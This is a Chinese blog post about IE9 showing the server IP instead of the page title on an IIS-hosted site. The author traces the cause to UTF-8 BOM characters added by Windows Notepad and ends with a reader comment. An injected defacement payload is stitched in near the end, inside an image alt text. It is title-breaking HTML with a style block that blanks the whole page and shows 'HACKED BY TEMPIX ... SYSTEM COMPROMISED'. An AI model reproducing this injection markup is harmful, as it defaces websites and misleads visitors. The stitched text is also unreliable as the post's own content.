在windows2008环境下部署一个网站,之后不久发现有个奇怪的现象:在ie9下网页标题没有正常显示,而是显示出服务器的ip。而在ie7、ie8、chrome、safari下都正常。
怀疑是ie9的问题
因为只有ie9下有这个问题,所以先考虑是不是ie9的bug,于是先google一下,找到了这篇微软的官方文章。按这篇文章的描述,出于安全的考虑,ie9在隐藏地址栏的时候会强制显示服务器ip,使用户远离钓鱼网站的危害。
本来以为问题就这么简单解决了,但是定睛一看,咱的ie9地址栏没隐藏啊!还得继续找原因。
怀疑是环境的问题
因为使用ie9访问开发环境(mac+nginx)没有出现这个问题。于是怀疑是不是生产环境(windows+iis)有什么东东没有配置好。
首先考虑是不是charset的问题。对比两个环境下访问的response header,没有发现什么疑点。
在最终出现问题的页面上查看源文件,复制全部内容后在服务器端保存为一个html文件,再通过url访问这个html文件,居然显示一切正常!
这样就排除了是环境的问题。但是经过仔细对比,出问题的页面的源代码和保存的html内容是完全一样的。完全相同的环境下,完全相同的代码居然出现不同的结果,真是见鬼了!
怀疑是代码的问题
使用chrome审查元素发现,head标签中的内容都跑到body里去了,而且出现了莫名其妙的一段空白:
再尝试用ie9访问开发环境(mac+nginx),相同的代码居然结果不同:
在前端群里咨询了一下,大家都认为有标签没有正常闭合。检查来检查去发现一个base和一个div闭合有问题,但是修复后问题依旧。没办法只好祭出大杀器:分段删除代码排除法。结果最后删成了这个样子:
WTF!到这里我已经丧心病狂,不能忍了,这你妹已经不能再删了啊!
都是UTF-8 BOM惹的祸
经过无数次沮丧的失败和无数次的google,终于找到了问题的所在:在windows的记事本中编辑utf-8格式的文件并保存,会在文件头部加一个BOM字符。而这个BOM字符会导致浏览器解析tag发生错乱。
编写脚本去除所有文件中的BOM字符后,问题成功解决。
参考文章
UTF-8编码中BOM的检测与删除
关于BOM头
utf-8中bom的危害及清除bom的工具下载
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)
![HA0U_PWR2AU]0}{37BG`A63](http://zhangshenjia.com/wp-content/uploads/2013/05/HA0U_PWR2AU037BGA63.jpg)

![GMQD{T32W{]9(X{11FE@EXK](http://zhangshenjia.com/wp-content/uploads/2013/05/GMQDT32W9X11FE@EXK.jpg)
![R~KM3Q}4A]FXB4UDVZFQX2F](http://zhangshenjia.com/wp-content/uploads/2013/05/RKM3Q4AFXB4UDVZFQX2F.jpg)
[微博蛋糕] 写的很详细,谢谢老实分享!